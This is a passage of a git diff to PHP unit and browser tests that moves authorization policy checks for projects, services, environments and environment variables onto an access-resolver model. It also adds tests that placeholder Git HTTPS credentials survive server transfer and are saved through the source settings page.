$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeFalse(); }); it('allows admin to create an environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +70,13 @@ it('allows admin to create an environment', function () { it('denies member to create an environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +84,9 @@ it('denies member to create an environment', function () { it('allows team admin to update their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(true); $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeTrue(); @@ -85,10 +94,9 @@ it('allows team admin to update their own team environment', function () { it('denies team member to update their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false); $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeFalse(); @@ -100,16 +108,17 @@ it('denies update when environment has no project', function () { $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeFalse(); }); it('allows team admin to delete their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(true); $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeTrue(); @@ -117,10 +126,9 @@ it('allows team admin to delete their own team environment', function () { it('denies team member to delete their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false); $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeFalse(); @@ -132,6 +140,8 @@ it('denies delete when environment has no project', function () { $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeFalse(); }); diff --git a/tests/Unit/Policies/EnvironmentVariablePolicyTest.php b/tests/Unit/Policies/EnvironmentVariablePolicyTest.php index d5d3ec410a..947677573e 100644 --- a/tests/Unit/Policies/EnvironmentVariablePolicyTest.php +++ b/tests/Unit/Policies/EnvironmentVariablePolicyTest.php @@ -4,7 +4,13 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use App\Models\User; use App\Policies\EnvironmentVariablePolicy; +use Illuminate\Contracts\Auth\Access\Gate as GateContract; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Gate; + +afterEach(function () { + Gate::clearResolvedInstance('gate'); +}); it('allows any user to view any environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -15,28 +21,28 @@ it('allows any user to view any environment variables', function () { it('allows team member to view environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->teams = new Collection([(object) ['id' => 1]]); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('view', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->view($user, $envVar))->toBeTrue(); }); it('denies non-team member from viewing environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->teams = new Collection([(object) ['id' => 2]]); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('view', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->view($user, $envVar))->toBeFalse(); }); @@ -70,28 +76,28 @@ it('denies member from creating environment variable', function () { it('allows team admin to update environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->update($user, $envVar))->toBeTrue(); }); it('denies non-admin from updating environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->update($user, $envVar))->toBeFalse(); }); @@ -108,28 +114,28 @@ it('denies update when resourceable is null', function () { it('allows team admin to delete environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->delete($user, $envVar))->toBeTrue(); }); it('denies non-admin from deleting environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->delete($user, $envVar))->toBeFalse(); }); @@ -162,28 +168,28 @@ it('denies force delete for environment variable', function () { it('allows team admin to manage environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->manageEnvironment($user, $envVar))->toBeTrue(); }); it('denies non-admin from managing environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->manageEnvironment($user, $envVar))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ProjectPolicyTest.php b/tests/Unit/Policies/ProjectPolicyTest.php index 8b4a824f6a..6bc3471709 100644 --- a/tests/Unit/Policies/ProjectPolicyTest.php +++ b/tests/Unit/Policies/ProjectPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any projects', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,38 +20,40 @@ it('allows any user to view any projects', function () { }); it('allows team member to view their own team project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $project)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new ProjectPolicy; expect($policy->view($user, $project))->toBeTrue(); }); it('denies non-member to view another team project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 2; + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $project)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new ProjectPolicy; expect($policy->view($user, $project))->toBeFalse(); }); it('allows admin to create a project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ProjectPolicy; expect($policy->create($user))->toBeTrue(); @@ -51,7 +61,13 @@ it('allows admin to create a project', function () { it('denies member to create a project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ProjectPolicy; expect($policy->create($user))->toBeFalse(); @@ -59,44 +75,44 @@ it('denies member to create a project', function () { it('allows team admin to update their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $project)->andReturn(true); + $policy = new ProjectPolicy; expect($policy->update($user, $project))->toBeTrue(); }); it('denies team member to update their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $project)->andReturn(false); + $policy = new ProjectPolicy; expect($policy->update($user, $project))->toBeFalse(); }); it('allows team admin to delete their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $project)->andReturn(true); + $policy = new ProjectPolicy; expect($policy->delete($user, $project))->toBeTrue(); }); it('denies team member to delete their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $project)->andReturn(false); + $policy = new ProjectPolicy; expect($policy->delete($user, $project))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ResourceCreatePolicyTest.php b/tests/Unit/Policies/ResourceCreatePolicyTest.php index eb6fc513c4..51a400edc9 100644 --- a/tests/Unit/Policies/ResourceCreatePolicyTest.php +++ b/tests/Unit/Policies/ResourceCreatePolicyTest.php @@ -1,19 +1,39 @@ forgetInstance(AccessResolver::class); +}); it('allows admin to create any resource', function () { + $team = new Team; + $team->id = 1; $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ResourceCreatePolicy; expect($policy->createAny($user))->toBeTrue(); }); it('denies member from creating any resource', function () { + $team = new Team; + $team->id = 1; $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ResourceCreatePolicy; expect($policy->createAny($user))->toBeFalse(); diff --git a/tests/Unit/Policies/ServicePolicyTest.php b/tests/Unit/Policies/ServicePolicyTest.php index e9a0b4da0a..beb7ccff3b 100644 --- a/tests/Unit/Policies/ServicePolicyTest.php +++ b/tests/Unit/Policies/ServicePolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any services', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any services', function () { }); it('allows team member to view their own team service', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeTrue(); }); it('denies non-member to view another team service', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeFalse(); }); it('denies view when service has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); $service->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false); + $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeFalse(); }); it('allows admin to create a service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ServicePolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create a service', function () { it('denies member to create a service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ServicePolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create a service', function () { it('allows team admin to update their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->update($user, $service))->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team service', function () { it('denies team member to update their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->update($user, $service))->toBeFalse(); @@ -96,10 +100,9 @@ it('denies team member to update their own team service', function () { it('allows team admin to delete their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeTrue(); @@ -107,10 +110,9 @@ it('allows team admin to delete their own team service', function () { it('denies team member to delete their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeFalse(); @@ -122,16 +124,17 @@ it('denies delete when service has no team', function () { $service = Mockery::mock(Service::class)->makePartial(); $service->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false); + $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeFalse(); }); it('allows team admin to deploy their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->deploy($user, $service))->toBeTrue(); @@ -139,10 +142,9 @@ it('allows team admin to deploy their own team service', function () { it('denies team member to deploy their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->deploy($user, $service))->toBeFalse(); @@ -150,10 +152,9 @@ it('denies team member to deploy their own team service', function () { it('allows team admin to stop their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->stop($user, $service))->toBeTrue(); @@ -161,10 +162,9 @@ it('allows team admin to stop their own team service', function () { it('denies team member to stop their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->stop($user, $service))->toBeFalse(); @@ -172,10 +172,9 @@ it('denies team member to stop their own team service', function () { it('allows team admin to manage service environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->manageEnvironment($user, $service))->toBeTrue(); @@ -183,10 +182,9 @@ it('allows team admin to manage service environment variables', function () { it('denies team member to manage service environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->manageEnvironment($user, $service))->toBeFalse(); diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php index d2a287a510..0d9b6c60f4 100644 --- a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php +++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php @@ -1,8 +1,15 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any shared environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,29 +19,27 @@ it('allows any user to view any shared environment variables', function () { }); it('allows team member to view their team shared environment variable', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); $model = mockSharedEnvironmentVariable(teamId: 1); + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Read, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new SharedEnvironmentVariablePolicy; expect($policy->view($user, $model))->toBeTrue(); }); it('denies non-team member to view shared environment variable', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); $model = mockSharedEnvironmentVariable(teamId: 2); + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Read, 2)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new SharedEnvironmentVariablePolicy; expect($policy->view($user, $model))->toBeFalse(); }); diff --git a/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php b/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php index 63f416eb6b..cf1307d9f9 100644 --- a/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php +++ b/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php @@ -263,6 +263,7 @@ test('dry run import reports counts without creating server', function () { }); test('round trip import preserves uuids secrets and related resources after source removal', function () { + $this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'transfer-pat-secret'])->save(); $bundle = $this->exporter->export($this->server); $originalServerUuid = $this->server->uuid; $originalAppUuid = $this->application->uuid; @@ -310,7 +311,9 @@ test('round trip import preserves uuids secrets and related resources after sour ->and($app->environment_variables()->where('key', 'APP_SECRET')->first()?->value)->toBe('super-secret-value') ->and($app->persistentStorages)->toHaveCount(1) ->and($app->scheduled_tasks)->toHaveCount(1) - ->and($app->tags()->pluck('name')->all())->toContain('transfer-demo'); + ->and($app->tags()->pluck('name')->all())->toContain('transfer-demo') + ->and($app->git_https_username)->toBe('deploy-bot') + ->and($app->git_https_password)->toBe('transfer-pat-secret'); $db = StandalonePostgresql::where('uuid', $originalDbUuid)->first(); expect($db)->not->toBeNull() diff --git a/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php b/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php new file mode 100644 index 0000000000..034a4a43c2 --- /dev/null +++ b/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php @@ -0,0 +1,33 @@ + Server::flushIdentityMap()); + +afterEach(fn () => Server::flushIdentityMap()); + +it('saves the HTTPS credential from the source page without showing the token again', function () { + $stack = seedBrowserResourceStack(); + $application = createBrowserApplication($stack, [ + 'name' => 'Azure App', + 'git_repository' => 'https://dev.azure.com/org/project/_git/app', + 'git_branch' => 'main', + ]); + loginAndSkipBoarding(); + + $page = visit(applicationConfigurationUrl($stack['project'], $stack['environment'], $application).'/source'); + $page->assertSee('HTTPS credentials') + ->type('gitHttpsUsername', 'deploy-bot') + ->type('gitHttpsPassword', 'browser-pat-token') + ->click('button:visible:has-text("Save changes")') + ->assertSee('Remove credentials') + ->assertValue('input[name=gitHttpsPassword]', '') + ->assertNoJavaScriptErrors() + ->screenshot(filename: 'application-git-https-credential'); + + expect($application->fresh()->git_https_password)->toBe('browser-pat-token') + ->and($application->fresh()->git_https_username)->toBe('deploy-bot'); +});